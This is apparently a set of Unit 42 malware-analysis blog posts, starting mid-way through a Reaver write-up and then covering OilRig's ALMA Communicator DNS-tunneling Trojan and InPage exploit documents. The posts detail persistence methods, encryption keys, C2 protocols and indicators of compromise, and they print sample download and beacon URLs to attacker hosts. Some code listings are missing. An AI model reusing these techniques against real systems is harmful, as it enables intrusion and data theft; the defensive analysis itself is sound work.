Reaver proceeds to write a shortcut file to ‘%TEMP%\~WUpdate.lnk’. This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘Applet.cpl’ file. Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file.
 
Reaver.v2
Reaver.v2 begins by attempting to enable the SeDebugPrivilege privilege for the running process. In the event this is successful, the malware will use the following path to store any dropped files:

  • %COMMONPROGRAMFILES%\services\

In the event it is not successful, this alternative path will be used instead:

  • %APPDATA%\microsoft\mmc\

Reaver.v2 proceeds to decrypt an embedded file using a simple XOR obfuscation routine. This file is written to the following file path:

  • % TEMP%\Update.~tmp

After the file is written, it is then copied to a filename of ’winhelp.cpl’ in the directory that was initially chosen. After this file is copied, the original ‘Update.~tmp’ file is deleted. At this stage the malware will identify the correct startup path using the same technique witnessed in earlier variants.
A shortcut file is generated in the following path:

  • %TEMP%\~Update.lnk

This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘winhelp.cpl’ file. It will specifically load this CPL file via a call to the built-in Microsoft Windows ‘control.exe’ utility. Finally, Reaver.v2 will execute the ‘~Update.lnk’ file in a new process, thus loading the recently dropped malicious CPL file.

Reaver.v3
Like Reaver.v2, Reaver.v3 begins by attempting to enable the SeDebugPrivilege privilege for the running process. In the event this is successful, the malware will use the following path to store any dropped files:

  • %COMMONPROGRAMFILES%\services\

In the event it is not successful, this alternative path will be used instead:

  • %APPDATA%\microsoft\credentials\

Reaver.v3 proceeds to write an embedded Microsoft Cabinet (CAB) file to the following location:

  • %TEMP%\winhelp.dat

This cabinet file is then extracted to the previously identified file path. The contents of this cabinet file consist of a Microsoft Control Panel item with a filename of ‘winhelp.cpl’.
Much like the previous version of Reaver, Reaver.v3 will query the necessary registry keys to determine the correct startup path to use. Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’. This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’.
Finally, the malware calls the ‘winhelp.cpl’ file in a new process via the following command:

  • control [path_previously_identified]\winhelp.cpl


Reaver HTTP Payload
The malicious CPL payload of Reaver has the following two exported functions:

  • CPlApplet
  • DllEntryPoint

When the CPlApplet function is loaded, Reaver will initially determine if the SeDebugPrivilege privilege is able to be obtained. The malware proceeds to decrypt and embedded configuration of 128 bytes using a simple XOR routine. The following example decrypted configuration is as follows:

As we can see, the following information is present within this configuration:

  • Remote Command and Control (C2) server
  • Remote port
  • Sleep timer

Reaver continues to collect various information from the victim machine, including the following:

  • CPU speed
  • Computer name
  • Username
  • IP Address
  • Microsoft Windows version
  • Physical and virtual memory information

The malware proceeds to communicate with the remote server via HTTP GET and POST requests. Data that is sent is compressed and then base64-encoded before being included in the requests.
We have observed the following capabilities of this payload:

  • Get drive information
  • Read files
  • Write files
  • Delete files
  • Move files
  • Spawn processes
  • Create directories


Reaver TCP Payload
The malicious CPL payload of Reaver has the following three exported functions:

  • ServiceMain
  • CPlApplet
  • DllEntryPoint

When the malware is initially loaded, DllEntryPoint will be called, which in turn will call a function that is responsible for decompressing a blob of data. The decompressed data consists of various key/value pairings that represent important strings used by Reaver. An example of this decompressed data can be seen below:

When the malware wishes to retrieve one of these decoded strings, it will simply call a function with an integer argument that is responsible for providing it. For example, calling this function with an argument of ‘10001’ would retrieve a string of ‘ole32.dll’.
The DllEntryPoint function proceeds to attempt to obtain the SeDebugPrivilege privilege, and also calls WSAStartup for future network activity.
When the CPlApplet function is loaded, it will begin by decompressing an embedded configuration using the same compression algorithm used previously. An example of this decompressed configuration may be seen below:
Sunorcal_2

Figure 2 Decompressed Reaver configuration

This configuration contains multiple pieces of information, including the following:

  • Network port
  • Sleep timer between network requests
  • Remote Command and Control (C2)
  • Service Name
  • Service Description
  • Service Display Name
  • Hardcoded String. This may be either a campaign identifier, or perhaps a malware versioning string.

The malware proceeds to check to see if the original dropped malware file exists. In the event it does, Reaver will move this file to ‘%TEMP%\~FJIOW.tmp’ and delete this new file. This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine. Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges.  The service is configured with a name, description, and display name that is provided within the configuration.
Reaver continues to collect various information from the victim machine, including the following:

  • Computer name
  • Volume serial number
  • Microsoft Windows version
  • CPU speed
  • ANSI code page
  • OEM code page identifier for the operating system
  • Physical and virtual memory information

Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified. The following example Python code shows how this encryption takes place:

After this data is exfiltrated, the malware expects 8 bytes of data that contains two DWORDs. These DWORDs contain both a major command and a sub-command.
The following capabilities have been observed in this payload:

  • Get drive information
  • Modify files
  • Modify directories
  • Modify registry
  • Spawn process
  • Terminate process
  • Modify services
  • Kill self


Ties to SunOrcal
Reaver was used concurrently with SunOrcal over the past year, to include two Reaver samples dropped from zip files hosted on a domain also being used as a SunOrcal C2 (www.fyoutside[.]com), and there is also passive DNS overlap amongst the C2s. Specifically, Reaver to date has used www.tashdqdxp[.]com for C2, which overlaps with www.weryhstui[.]com, another C2 used by SunOrcal samples during the same timeframe. Both domains have resolved to 98.126.156[.]210. Several of those same SunOrcal samples were also using www.fyoutside[.]com as an additional C2.  This led to further C2 ties within SunOrcal samples, to include samples beaconing to www.olinaodi[.]com; all of this is shown below in Figure 3. The latter has been previously reported in activity targeting Hong Kong democracy activists and that activity is in turn tied to a report targeting Tibetan, Hong Kong, and Taiwanese activists, and another blog about targeting Taiwanese activists.
Sunorcal_3

Figure 3. Chart showing overlaps between Reaver and SunOrcal. All IOCs are in the appendix at the end of this blog.

Conclusion
The attackers behind SunOrcal, whose activity dates to at least 2013 and possibly 2010, remain active and are still developing new custom malware to use against their targets. The new malware, Reaver, appears to have been in the wild since late 2016 with less than a dozen known samples, among which there are three variants. It is also unique in the fact that its final payload is in a CPL file, a technique which Palo Alto Networks has seen with only 0.006% of all malware samples we have analyzed. The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting. We will continue to monitor these attackers for new activity and report as appropriate.
Palo Alto Networks customers are protected by the following:

  • Wildfire and Traps identifies both malware families as malicious.
  • The C2 domains are blocked via Threat Prevention.
  • AutoFocus customers can monitor activity using this malware with the following tags:


Appendix
SHA2556 – Reaver.v1
d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666
 
SHA2556 – Reaver.v2
98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c
05ddbd0506ec95fb460b3994e5b21cdb0418ba4aa406374ca1b91249349b7640
 
SHA2556 – Reaver.v3
18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92
c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d
9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b
26c234c73e2c3448589c7d4a0cf17f615ad3666541a4e611e2d8b77637205bcf
ae9f158e4886cfdbfb4f1b3b25707d05f6fd873d0be9d8e7334a2c28741228ee
1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1
c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c
1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1
 
SHA256 – SunOrcal
799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac
81d887fefdbb0219647991c2b7bddf45c2fede4dc6fc18408f1706e0279615b2
58312fb742ce881e040e1b5b8555f00a402b8dd4fc886acaae2f862040b3bfc5
38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb
cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f

C2 domains and IP addresses
www.tashdqdxp[.]com
www.weryhstui[.]com
www.fyoutside[.]com
 
www.olinaodi[.]com
104.148.70[.]217
98.126.156[.]210
 

OilRig Deploys “ALMA Communicator” – DNS Tunneling Trojan

Posted on by Robert Falcone

Unit 42 has been closely tracking the OilRig threat group since May 2016. One technique we’ve been tracking with this threat group is their use of the Clayslide delivery document as attachments to spear-phishing emails in attacks since May 2016. In our April 2017 posting OilRig Actors Provide a Glimpse into Development and Testing Efforts we showed how we observed the OilRig threat group developing and refining these Clayside delivery documents.
Recently, we observed a new version of the Clayslide delivery document used to install a new custom Trojan whose developer calls it “ALMA Communicator”. The delivery document also saved the post-exploitation credential harvesting tool known as Mimikatz, which we believe the threat actors will use to gather account credentials from the compromised system. While we do not have detailed telemetry, we have reason to believe this attack targeted an individual at a public utilities company in the Middle East.
 
New Clayslide Delivery Document
The most recent build of Clayslide operates in a similar way to its predecessors, as it initially displays an "Incompatible" worksheet that states that the Excel file was created with a newer version of Excel and the user needs to "Enable Content" to view the document. If the user clicks "Enable Content", a malicious macro will run that begins by displaying a hidden worksheet that contains decoy contents, as seen in the following:
Alma_1
While the decoy is displayed to the victim, the malicious macro accesses data from specific cells in the "Incompatible" worksheet that it concatenates to create an .HTA file, which it then saves to %PUBLIC%\tmp.hta and opens with the mshta.exe application. The .HTA file contains HTML that will run a VBScript that finally installs the malicious payload for this attack.
The payload installation process begins with the .HTA file creating a folder named %PUBLIC%\{5468973-4973-50726F6A656374-414C4D412E-2}, to which it writes three files with the following names:

  • SystemSyncs.exe
  • m6.e
  • cfg

The .HTA file contains two encoded executables that it will decode and write to m6.e and SystemSyncs.exe. The .HTA file contains a base64 encoded configuration that it decodes and saves to the cfg file, which the Trojan will use to obtain the C2 domain that it will use to communicate with the threat actor. The C2 domain saved to the cfg file in this attack is prosalar[.]com.
The SystemSyncs.exe file (SHA256: 2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e) is a custom Trojan created by the OilRig group called “ALMA Communicator”, which we will describe in detail in the next section.
The "m6.e" file dropped by the .HTA file is a variant of Mimikatz (SHA256: 2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c) tool. We have seen the OilRig threat group using Mimikatz for credential gathering during its post-exploitation activities, however, this is the first time we have observed the threat group delivering Mimikatz during the delivery phase of the attack. We believe the Clayslide delivery document dropped this additional tool based on the limitations of ALMA Communicator’s C2 channel, which we will describe later in this report.
The VBScript in the .HTA file executes the SystemSyncs.exe payload and achieves persistent execution by creating a scheduled task. Unlike past Clayslide documents that create a scheduled task via the schtask application via the command prompt, the VBScript programmatically creates the task using the Schedule.Service object. The scheduled task created, as seen in Figure 1, shows that the payload will be executed every two minutes with the command line argument "Lock".
Alma_2

Figure 1 Scheduled task created by Clayslide to execute the ALMA Communicator payload

ALMA Communicator Trojan
The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.
After reading in its configuration, the Trojan creates two folders for staging, named Download and Upload. ALMA uses the Download folder to save batch files provided by the C2 server, which it will eventually run. ALMA uses the Upload folder to store the output of the executed batch files, which it will eventually exfiltrate to the C2 server.
ALMA Communicator uses DNS tunneling as its C2 communication channel using a specific protocol that uses specially crafted subdomains to transmit data to the C2 server and specific IPv4 addresses to transmit data from the C2 to the Trojan. The transmission of information from the Trojan to the C2 server occurs through DNS requests to resolve specially crafted subdomains on the configured C2 domain.
To build these specially crafted subdomains, the Trojan generates a random four-digit number and concatenates a hardcoded string of ID. The Trojan then appends a unique identifier for the compromised system to this string. To generate this unique identifier, the Trojan starts by obtaining the system’s ProductId from the registry, specifically at SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. If it cannot find this registry key, it will use the hardcoded value 00000-00000-00000-00000. It then obtains the username and concatenates an underscore followed by the product id string. The Trojan takes the MD5 hash of this string and uses it as the basis for the unique identifier for the compromised system. It then appends the hardcoded -0-2D-2D string to finish the construction of the subdomain used to beacon the C2 server. Figure 2 shows the structure of the domains that ALMA communicator will send to the C2 server to receive data.
Alma_3

Figure 2 Domain used by ALMA communicator to receive data from the C2 server

To provide a better explanation of the unique identifier generated by ALMA communication, let’s consider a test system with the username and product id create the string Administrator_00000-00000-00000-00000, which results in an MD5 hash of 35ead98470edf86a1c5a1c5fb2f14e02. The Trojan will generate the unique identifier string 3d7f11b4 by taking the first, fifth, ninth, thirteenth, seventeenth, twenty first, twenty fifth and twenty ninth characters from the MD5 hash and concatenating them together, as seen in Figure 3.
Alma_4

Figure 3 How ALMA Communicator generates the unique identifier for the compromised system

The C2 server will reply to the beacon DNS requests with IPv4 addresses within A records. The Trojan will parse these requests for two specific IP addresses, one to mark the beginning and one to mark the end of the transmission of data from the C2 to the Trojan. The two specific IP addresses to mark the start and end of the data are:
Start - 36.37.94.33 ($%^!)
End - 33.33.94.94 (!!^^)
The C2 will respond to DNS queries between these two responses with IP addresses that the Trojan will treat as binary data. During our analysis, we observed the following data being sent from the C2 server to our analysis system, with $%^! and !!^^ representing the start and stop markers for the data:

Based on the data sent back from the C2, the Trojan will create a file named _DnsInit.bat with commands seen in the data. The Trojan stores the batch file in the Download folder. The Trojan will then enumerate this folder and create a cmd.exe process with the path to the batch script as a command line argument. The Trojan will add to the command line argument the string " > " followed by the batch script's filename with the .txt.Prc file extension to write the output of the command to a text file in the Upload folder. Before running the process, the following string to the end command line argument to delete the batch script upon execution:
\r\nDEL /f /q \"%~0\"|exit
The Trojan will then attempt to send the newly created file in the Upload folder that contains the result of running the command. The DNS requests used to send this data has four fields that are split up using a hyphen, which are:

  1. Random four-digit number followed by static "ID" string and the 10 character unique system identifier
  2. Number of DNS queries needed to send entire data stream
  3. Maximum of 20 characters for 10 hexadecimal bytes of data to transmit
  4. String of characters for hexadecimal bytes for filename transmitted

To better visualize the structure of a DNS query used to send data, the following is shows the domain name that the Trojan will build to send data to its C2 server:
[random 4 digits]ID[unique identifier]-[number of DNS queries needed]-[string of hexadecimal bytes for sent data]-[string of hexadecimal bytes for filename being sent].prosalar[.]com
For example, figure 4 is the first DNS query issued after our testing system ran the _DnsInit.bat script provided by the C2 server mentioned above. As you can see, each DNS request can only send 10 bytes of data at a time, requiring 29 outbound requests to transmit the 289 bytes of output that was generated by the batch script.
Alma_5

Figure 4 Subdomain that ALMA Communicator attempts to resolve to transmit data to its C2 server

As you can surmise, ALMA Communicator’s C2 channel is rather limited when it comes to data transfer. If an actor wished to use ALMA communicator to exfiltrate large files, it would result in a very large number of outbound DNS requests, as each outbound request can only send 10 bytes at a time. Even more limiting is the data transmission from the C2 server to the Trojan, which can only send 4 bytes per DNS request, as each IPv4 address is treated as data. We believe this is the reason why the Clayslide delivery document saved the Mimikatz tool to the system instead of having the actor download the tool to the system after a successful compromise. Based on the 4-byte per DNS request limitation, the ALMA Communicator would generate 189,568 DNS requests (not including the start and stop requests) to transmit the 758,272 byte Mimikatz tool to the system, which may be detected by security systems or personnel.
 
Conclusion
The OilRig threat group continues to use their Clayslide delivery document in their attack campaigns. The current variant of Clayslide also suggests that this group continues to develop these delivery documents with new installation techniques to evade detection. This threat group also continues to add new payloads to their toolset as well, with ALMA Communicator being the most recent addition. Lastly, it appears that OilRig still prefers using DNS tunneling for its C2 channel of choice, as ALMA Communicator, Helminth and ISMAgent all use this technique for C2 communications.
Palo Alto Networks customers are protected by the following:

  • WildFire identifies ClaySlide delivery documents and ALMA Communicator samples as malicious
  • Traps blocks the ALMA Communicator Trojan via Local Analysis and blocks the Clayslide delivery document based on “Suspicious macro detected”
  • AutoFocus customers can track these tools using the following tags:

 
Indicators of Compromise
f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111 (Clayslide)
2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e (ALMA Communicator)
2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c (Mimikatz)
prosalar[.]com
 

Recent InPage Exploits Lead to Multiple Malware Families

Posted on by Jacob Soo

In recent weeks, Unit 42 has discovered three documents crafted to exploit the InPage program. InPage is a word processor program that supports languages such as Urdu, Persian, Pashto, and Arabic. The three InPage exploit files are linked through their use of very similar shellcode, which suggests that either the same actor is behind these attacks, or the attackers have access to a shared builder. The documents were found to drop the following malware families:

  • The previously discussed CONFUCIUS_B malware family
  • A backdoor previously not discussed in the public domain, commonly detected by some antivirus solutions as “BioData”
  • A previously unknown backdoor that we have named MY24

The use of InPage as an attack vector is not commonly seen, with the only previously noted attacks being documented by Kaspersky in late 2016.
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated. They contained subjects such as intelligence reports and political situations related to India, the Kashmir region, or terrorism being used as lure documents.
In the blog below, we analyze and present our findings on three of these malicious InPage documents:

We also include analysis of the new backdoor we discovered: MY24.
 

Cyber Advisory No 91.inp

We discovered the first InPage exploit to have the following attributes:

SHA256 1d1e7a6175e6c514aaeca8a43dabefa017ddc5b166ccb636789b6a767181a022
Original Filename Cyber Advisory No 91.inp

The exploit for this document is the same one described by described by Kaspersky late last year. This exploit was unsuccessful in the latest version in InPage (Version 3.60), and as such the underlying vulnerability has likely been patched.
Overall, the entire execution flow of this malware from start to finish can be summarized as follows:
inpage_1

Figure 1 InPage exploit document execution flow

 
When the malicious .INP file is opened using a vulnerable version of InPage, it will execute the shellcode that is embedded within it.
This particular shellcode, along with the shellcode found within another InPage exploit document that will be discussed later on, began with a marker of ‘LuNdLuNd’, followed by a series of NOPs. It continues to identify an offset to an embedded executable file, which will eventually be run on the victim machine.
This particular shellcode uses a unique hashing mechanism for identifying and loading Microsoft Windows libraries and functions. It uses this method to load a series of functions, as seen below:
inpage_2

Figure 2 Shellcode loading functions using custom hashing algorithm

 
The hashing algorithm in question can be represented in Python as follows:

This particular hashing algorithm does not appear to be widely used, however, in our searches using the YARA rule provided at the end of this blog, we were able to identify roughly 70 PE32 samples that have recently employed this same hashing technique.
The shellcode then proceeds to attempt to create a mutex with a value of “QPONMLKJIH” to ensure only one instance of the shellcode is running at a given time. Finally, the shellcode will copy the embedded payload into newly allocated memory before executing it.
This newly dropped payload is a DLL with the following attributes:

SHA256 7bbf14ced3ca490179d3727b7287eb581c3a730131331be042d0f0510bc804f9
Compile Timestamp 2015-05-08 12:51:54 UTC
PDB String c:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb

 
This particular DLL acts as a dropper, and has two embedded resource files—an executable payload that will be used to ultimately drop the final payload, as well as a decoy InPage file. It begins by spawning a new thread that loads the two files from embedded resources with names of ‘BIN’ and ‘BIN2’ respectively. The executable is dropped to the following path before it is executed:

  • %TEMP%\winopen.exe

The InPage decoy document is dropped to the following path before it is run:

  • %TEMP\SAMPLE.INP

The decoy document in question looks like the following. The rough translation to English has been provided in red:
inpage_3

Figure 3 Decoy InPage file with rough translation

 
Based on the rough translation of this document, it appears to deal with current issues within the Kashmir region. This of course is not consistent with the original filename, and it is unclear why this is the case. Perhaps the attacker forgot to change the lure from a previous exploit, or simply didn’t find it necessary. This lure, while inconsistent with the original filename, is in line with the other InPage exploit file that also looked to be of the same subject matter.
The executable file in the ‘%TEMP%\winopen.exe’ path has the following attributes:

SHA256 692815d06b720669585a71bc8151b89ca6748f882b35e365e08cfaf6eda77049
Compile Timestamp 2017-07-31 06:03:42 UTC

 
This particular executable is made to resemble the legitimate application Putty. Unlike other files we witnessed up to this point, this sample has rudimentary anti-debugging and anti-analysis techniques in place prior to the main execution flow.
It proceeds to decrypt an embedded resource object using the RC4 algorithm. The following key is used for decryption:

  • VACqItywGR1v3qGxVZQPYXxMZV0o2fzp

After this data is decrypted, the following registry key is written to ensure persistence. Again, we see the malware mimic the appearance of the legitimate Putty application.

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Putty - %TEMP%\winopen.exe

Finally, the malware will spawn a new suspended instance of itself, where the decrypted data is written and subsequently executed.
This next stage of malware has the following properties:

SHA256 bb5540fe0bbc0cda08865aad891a585cd465b224bfe84762216cd04178087516
Compile Timestamp 2017-05-17 05:47:05 UTC

 
This malware operates almost identical to the previously witnessed sample. However, this time the embedded resource object is decrypted using the following RC4 key:

  • kRPAnN2DN6vfrxsJ55Lntnh7Mma8E68s

The next, and last stage of this malware execution has the following attributes:

SHA256 d1a14bc3160f5ed6232ceaf40de1959d7dba3eae614efd2882b04d538cda825b
Compile Timestamp 2016-10-31 02:41:09 UTC

 
This final payload is an instance of the CONFUCIUS_B malware family, which we have previously discussed. This particular sample attempts to connect to the following host for C2 operations:

  • 151.80.14[.]194


Intelligence Report-561 (1).inp

We identified this malicious InPage document as having the following attributes:

SHA256 35c5f6030513f11fd1dcf9bd232de457ba7f3af3aedc0e2e976895b296a09df6
Original Filename Intelligence Report-561 (1).inp

 
This particular exploit file uses the exact same shellcode witnessed previously, where an embedded DLL is loaded into memory. Again, this executable drops and executes two files—a Microsoft Windows executable payload and an InPage decoy document.
The embedded payload within the shellcode has the following attributes:

SHA256 83e3b2938ee6a3e354c93c6ec756da96b03cc69118b5748b07aee4d900da1844
Compile Timestamp 2015-05-08 12:51:54 UTC
PDB String c:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb

 
Again, we see the executable payload and decoy document dropped to the following respective locations:

  • %TEMP%\winopen.exe
  • %TEMP%\SAMPLE.inp

The dropped executable is a previously undocumented backdoor written in Delphi that has been named BioData by multiple antivirus organizations.
This InPage exploit document follows a much simpler execution flow, as seen in the following diagram.
inpage_4

Figure 4 InPage exploit execution flow

 
The decoy InPage file dropped by this malware looks like the following. The language used within it appears to be a mix of Arabic and Urdu. A rough translation has been provided in red in the image below.
inpage_5

Figure 5 Decoy InPage document dropped by malware

 
The Biodata payload has the following attributes:

SHA256 5716509e4cdbf8ffa5fbce02b8881320cb852d98e590215455986a5604a453f7
Compile Timestamp 1992-06-19 22:22:17 UTC

 
Note that the timestamp above is the result of this sample being compiled in Delphi, which uses the same hardcoded compilation timestamp for all samples that are generated.
Throughout the execution of this sample, numerous strings are decoded using a customized 94-character substitution table. BioData will go through each character of the obfuscated string, and will replace each character based on the following table:
inpage_6

Figure 6 Substitution table used by BioData

 
The malware proceeds to generate and create a ‘Document’ folder within the %USERPROFILE% directory. This folder will contain all of the malware’s files throughout its execution. In order to maintain persistence, the malware will generate the following file in the startup folder, which points to the current path of the BioData executable:

  • Adobe creative suit.lnk

BioData proceeds to generate a randomized 30-character string of uppercase and lowercase letters. This string is written to the following file:

  • %USERPROFILE%\Document\users.txt

This 30-character string is used by the malware to act as a unique identifier for the victim, and will be used for all network communication with a remote server.
The username and computer name are identified, and are written to a string of the following format:

  • User name and System Name :- [Username]_[Computer Name]

This data is obfuscated and written to the following file:

  • %USERPROFILE%\Document\SyLog.log

In order to obfuscate this data, the malware uses a unique algorithm. Represented in Python, the following script will decode this file:

BioData sends both GET and POST requests to the following URL:

  • http://errorfeedback[.]com/MarkQuality455/developerbuild.php

POST requests are made with a hardcoded User-Agent, shown below in Figure 7. Additionally, a ‘b’ GET parameter is included that contains the victim’s previously generated unique identifier. The contents of the POST requests are the obfuscated SyLog.log file. The remote C2 server has been observed responding to these requests with ‘Success’. These requests simply act as a beacon, including the basic victim information that was previously obtained.
inpage_7

Figure 7 HTTP POST request by BioData

 
GET requests are made in a slightly different fashion. These requests contain an empty User-Agent, and are also found to be missing a number of HTTP headers that are commonly seen.
 
inpage_8

Figure 8 HTTP GET request by BioData

 
Unlike the POST requests, the malware both looks for and makes use of the response given, if any, by the C2 server. The malware parses any response given by first hex-decoding it. It then base64-decodes the resulting string. The final string is used to form a subsequent GET request.
If for instance, the malware responded with a decoded string of ‘malware.exe’, the subsequent GET request would look like the following:

  • http://errorfeedback[.]com/MarkQuality455/bzGwXILtkMRZaJxzciXAeCYviduBuy/malware.exe

The request above uses the same victim identifier that has been observed in the previous examples provided.
This hypothetical ‘malware.exe’ request contains the raw contents of the payload that BioData will drop to disk and execute. The contents are placed in the following file path for this hypothetical:

  • %USERPROFILE%\Document\malware.exe

Finally, after this dropped payload is successfully executed, the malware will send a GET request such as the following:

  • http://errorfeedback[.]com/MarkQuality455/developerbuild.php?f=62574673643246795a53356c654755&b=bzGwXILtkMRZaJxzciXAeCYviduBuy

In the above example, the ‘b’ parameter is the victim identifier, and the ‘f’ parameter is the string of ‘malware.exe’ after it has been base64-encoded and hex-encoded. This request alerts the attack that the hypothetical payload of ‘malware.exe’ has been run.


Tehreek-E-Kashmir Mujahaid List.inp

We identified this malicious InPage document as having the following attributes:

SHA256 3e410397955d5a127182d69e019dbc8bbffeee864cd9c96e577c9c13f05a232f
Original Filename Tehreek-E-Kashmir Mujahaid List.inp

 
Unfortunately, no decoy document was included with this exploit file. However, the filename provides clues as to the context that may have been present when this file was delivered to the intended recipient. The phrase ‘Tehreek-E-Kashmir’ is most likely related to the conflict in the Kashmir region of India. Additionally, the term ‘Mujahaid’ may be a misspelling of the word ‘Mujahid’, a term used to describe an individual engaged in Jihad.
This particular InPage shellcode looks to be near identical to the two others previously discussed, however, it appears as though the attackers simply partially overwrote the original shellcode that was present to substitute their own. This results in the shellcode acting as a downloader, instead of loading an embedded payload. We can see the modifications visually in the following image:
inpage_9

Figure 9 Differences between InPage exploit documents

 
In the image above, the ‘Cyber Advisory No 91.inp’ exploit file has the large additional size, as it included the payload. The ‘Tehreek-E-Kashmir Mujahaid List.inp’ exploit file instead has removed this. However, original artifacts from the original shellcode are still present, including the function that loads Microsoft Windows API calls using the unique hashing algorithm.
The shellcode begins by iterating through the Process Environment Block (PEB), searching for a loaded module that has a ‘3’ in the 7th position. In other words, the shellcode uses a simple trick to search for kernel32.dll. It proceeds to iterate through kernel32’s functions, looking for the GetProcAddress function. In order to find this function it will compare the first four letters against ‘GetP’, and the third set of four letters against ‘ddre’.
The shellcode then gets the address of the WinExec function, which in turn is used to execute the following command:

  • cmd /c mkdir C:\Wins

It then performs the following:

  1. Gets the address of the LoadLibraryA function
  2. Loads the urlmon.dll library
  3. Gets the address of the URLDownloadToFileA function

The shellcode then proceeds to make a request to the following URL and download the response to ‘C:\Wins\cnh’.

  • http://zmwardrobe[.]com/wp-sign

Finally, the shellcode will execute this downloaded file via a call to WinExec.
The response from this webserver returned a payload, that we have named MY24, with the following attributes:

SHA256 71b7de2e3a60803df1c3fdc46af4fd8cfb7c803a53c9a85f7311348f6ff88cbe
Compile Timestamp 2017-05-18 05:26:54 UTC

 
It should also be noted that a malicious Microsoft Word document with the following properties was observed downloading and executing the same payload.

SHA256 3f1d3d02e7707b2bc686b5add875e1258c65a0facd5cf8910ba0f321e230e17c
Original Filename Las Vegas ISIS Claim Proof.doc
First Seen 2017-10-05 05:53:27

 
MY24 Analysis
This backdoor begins by decoding a series of embedded strings by adding 33 to each character. The following example within the Python interpreter demonstrates this:
inpage_10

Figure 10 Example string decoding within Python interpreter

 
The malware proceeds to execute a function that is responsible for generating the following path:

  • %APPDATA%\Startup\wintasks.exe

However, this path is never used, leading us to believe that the malware author had the intention of copying the payload to this destination and likely setting persistence, but seemingly forgot to.
MY24 proceeds to spawn two timers where the functions are responsible for resolving the C2 domain of userveblog.ddns[.]net, as well as connecting to this domain.
Two new threads are then created—one for handling any data that is received from the connection to the C2 and one that is responsible for sending out data.
Finally, a function is called that is responsible for collecting information about the victim machine. The following information is collected:

  • Version of Microsoft Windows
  • Username
  • Computer name

The MY24 instance expects to receive a command initially from the remote server of userveblog.ddns[.]net on port 9832. All communication is performed using raw sockets via a custom communication protocol. The packets received by the malware have the following format:
inpage_11

Figure 11 Received packet format for MY24 malware

 
All data received and sent by MY24 is encrypted using a 13-byte XOR key of "t6%9k$2Ri9ctv". The data portion of the received command will include one of the following commands:

Received Command Description
2000 Return victim information
2001 Get drive information
2002 List files
2004 Unknown
2005 Create file handle to append data
2006 Write appended data to previously created file handle
2007 Create file handle for reading data
2009 Read data from previously created file handle
2012 Spawn a shell of cmd.exe
2013 Interact with previously spawned shell
2015 Unknown
2016 Kill previously spawned shell
2019 List current process network communication on the victim machine
2021 Unknown
2022 Kill process
2023 Enumerate processes
2025 Unknown

 
Responses sometimes vary in size, but are primarily sent with a size of 9084 bytes. The author of this tool did not allocate proper buffer size when sending out the data, resulting in part of the stack being included in the response by the MY24 malware. Examples of commands being sent and received may be seen below. A custom server was written to interact with the MY24 malware, which is seen in the following image.
 
inpage_12

Figure 12 Interacting with MY24 backdoor

Conclusion

While documents designed to exploit the InPage software are rare, they are not new - however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode, suggesting continued use of the exploit previously discussed by Kaspersky.
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated, with subjects such as Intelligence reports and political situations being used as lure documents. The variety of malware payloads dropped suggests the attackers behind these attacks have a reasonable development resource behind them and Unit42 continues to observe new versions of these malware families being created.
Palo Alto Networks customers are protected against these threats in a number of ways:

  • All domains observed in these malware families have been flagged as malicious.
  • All payloads are appropriately categorized as malicious within the WildFire platform and blocked by Traps.
  • The payloads witnessed have been tagged in AutoFocus as Confucius_B, MY24, and BioData for continued tracking and observation.


Appendix
YARA Rules

 

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow